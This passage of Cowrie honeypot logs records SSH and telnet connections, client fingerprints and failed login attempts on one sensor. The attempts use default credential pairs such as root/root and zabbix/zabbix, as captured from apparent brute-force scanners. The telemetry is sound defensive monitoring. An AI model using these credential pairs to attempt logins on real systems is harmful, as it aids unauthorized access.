essage":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:05.387182Z","src_ip":"176.65.132.254","session":"12a497b43a76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33522,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fd3cbeb0487","protocol":"telnet","message":"New connection: 134.209.8.29:33522 (159.203.135.109:23) [session: 7fd3cbeb0487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:05.500102Z"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:05.652130Z","src_ip":"176.65.132.254","session":"12a497b43a76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44998,"dst_ip":"10.17.0.5","dst_port":23,"session":"68bb598e6e4b","protocol":"telnet","message":"New connection: 38.54.119.93:44998 (10.17.0.5:23) [session: 68bb598e6e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:06.424818Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:06.742737Z","src_ip":"176.65.132.254","session":"12a497b43a76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35968,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9f156b4d229","protocol":"telnet","message":"New connection: 165.232.131.181:35968 (10.17.0.5:23) [session: b9f156b4d229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:06.850604Z"}
{"eventid":"cowrie.session.closed","duration":35.32496166229248,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:06.943406Z","src_ip":"62.210.97.77","session":"9994a2d4770b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34622,"dst_ip":"10.17.0.5","dst_port":22,"session":"db85f118c9e6","protocol":"ssh","message":"New connection: 176.65.132.254:34622 (10.17.0.5:22) [session: db85f118c9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:09.456062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:09.469068Z","src_ip":"176.65.132.254","session":"db85f118c9e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:09.554025Z","src_ip":"176.65.132.254","session":"db85f118c9e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:10.054729Z","src_ip":"176.65.132.254","session":"db85f118c9e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.9821858406066895,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:10.406872Z","src_ip":"38.54.119.93","session":"68bb598e6e4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39216,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3a173e866e8","protocol":"telnet","message":"New connection: 62.210.97.77:39216 (10.17.0.5:23) [session: f3a173e866e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:10.625738Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:11.149509Z","src_ip":"176.65.132.254","session":"db85f118c9e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44366,"dst_ip":"159.203.135.109","dst_port":23,"session":"7980b96a2681","protocol":"telnet","message":"New connection: 134.209.8.29:44366 (159.203.135.109:23) [session: 7980b96a2681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:12.331271Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39506,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9148cc324cb","protocol":"telnet","message":"New connection: 165.232.131.181:39506 (10.17.0.5:23) [session: c9148cc324cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:12.618890Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37884,"dst_ip":"10.17.0.5","dst_port":22,"session":"bce1ef4a7410","protocol":"ssh","message":"New connection: 176.65.132.254:37884 (10.17.0.5:22) [session: bce1ef4a7410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:13.552883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:13.572926Z","src_ip":"176.65.132.254","session":"bce1ef4a7410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:13.656126Z","src_ip":"176.65.132.254","session":"bce1ef4a7410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:13.937103Z","src_ip":"176.65.132.254","session":"bce1ef4a7410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:15.311688Z","src_ip":"176.65.132.254","session":"bce1ef4a7410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39232,"dst_ip":"10.17.0.5","dst_port":23,"session":"28caca4a3f47","protocol":"telnet","message":"New connection: 62.210.97.77:39232 (10.17.0.5:23) [session: 28caca4a3f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:17.239226Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39242,"dst_ip":"10.17.0.5","dst_port":23,"session":"6739a4d4e415","protocol":"telnet","message":"New connection: 62.210.97.77:39242 (10.17.0.5:23) [session: 6739a4d4e415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:17.372553Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37900,"dst_ip":"10.17.0.5","dst_port":22,"session":"b14b185ecd81","protocol":"ssh","message":"New connection: 176.65.132.254:37900 (10.17.0.5:22) [session: b14b185ecd81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:17.726555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:17.739300Z","src_ip":"176.65.132.254","session":"b14b185ecd81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:17.823226Z","src_ip":"176.65.132.254","session":"b14b185ecd81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:18.083872Z","src_ip":"176.65.132.254","session":"b14b185ecd81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:19.182101Z","src_ip":"176.65.132.254","session":"b14b185ecd81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":55178,"dst_ip":"159.203.135.109","dst_port":22,"session":"77a04a0da883","protocol":"ssh","message":"New connection: 152.32.189.59:55178 (159.203.135.109:22) [session: 77a04a0da883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:19.369000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:19.380819Z","src_ip":"152.32.189.59","session":"77a04a0da883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:19.642234Z","src_ip":"152.32.189.59","session":"77a04a0da883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123123","message":"login attempt [es/es123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:20.497691Z","src_ip":"152.32.189.59","session":"77a04a0da883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37912,"dst_ip":"10.17.0.5","dst_port":22,"session":"5add3627871e","protocol":"ssh","message":"New connection: 176.65.132.254:37912 (10.17.0.5:22) [session: 5add3627871e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:21.615410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:21.622010Z","src_ip":"176.65.132.254","session":"5add3627871e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:21.704399Z","src_ip":"176.65.132.254","session":"5add3627871e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:21.718442Z","src_ip":"152.32.189.59","session":"77a04a0da883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47758,"dst_ip":"10.17.0.5","dst_port":23,"session":"4adbbd4b3248","protocol":"telnet","message":"New connection: 62.210.97.77:47758 (10.17.0.5:23) [session: 4adbbd4b3248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:21.898617Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:21.950978Z","src_ip":"176.65.132.254","session":"5add3627871e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:23.039701Z","src_ip":"176.65.132.254","session":"5add3627871e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47764,"dst_ip":"10.17.0.5","dst_port":23,"session":"54a13d42e8ba","protocol":"telnet","message":"New connection: 62.210.97.77:47764 (10.17.0.5:23) [session: 54a13d42e8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:23.258322Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47772,"dst_ip":"10.17.0.5","dst_port":23,"session":"6de723127a31","protocol":"telnet","message":"New connection: 62.210.97.77:47772 (10.17.0.5:23) [session: 6de723127a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:23.615842Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47784,"dst_ip":"10.17.0.5","dst_port":23,"session":"4caefb4c6f7c","protocol":"telnet","message":"New connection: 62.210.97.77:47784 (10.17.0.5:23) [session: 4caefb4c6f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:24.295878Z"}
{"eventid":"cowrie.session.closed","duration":49.17519521713257,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:25.116580Z","src_ip":"134.209.8.29","session":"7000cda2616f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57714,"dst_ip":"10.17.0.5","dst_port":22,"session":"159a06e6a688","protocol":"ssh","message":"New connection: 176.65.132.254:57714 (10.17.0.5:22) [session: 159a06e6a688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:25.789117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:25.793885Z","src_ip":"176.65.132.254","session":"159a06e6a688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:25.876758Z","src_ip":"176.65.132.254","session":"159a06e6a688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:26.252922Z","src_ip":"176.65.132.254","session":"159a06e6a688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:27.355955Z","src_ip":"176.65.132.254","session":"159a06e6a688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47790,"dst_ip":"10.17.0.5","dst_port":23,"session":"865cc751ed89","protocol":"telnet","message":"New connection: 62.210.97.77:47790 (10.17.0.5:23) [session: 865cc751ed89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:27.489911Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47804,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8f1a601e692","protocol":"telnet","message":"New connection: 62.210.97.77:47804 (10.17.0.5:23) [session: f8f1a601e692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:27.772657Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57724,"dst_ip":"10.17.0.5","dst_port":22,"session":"69d5a04153e5","protocol":"ssh","message":"New connection: 176.65.132.254:57724 (10.17.0.5:22) [session: 69d5a04153e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:29.684680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:00:29.689264Z","src_ip":"176.65.132.254","session":"69d5a04153e5","protocol":"ssh"}
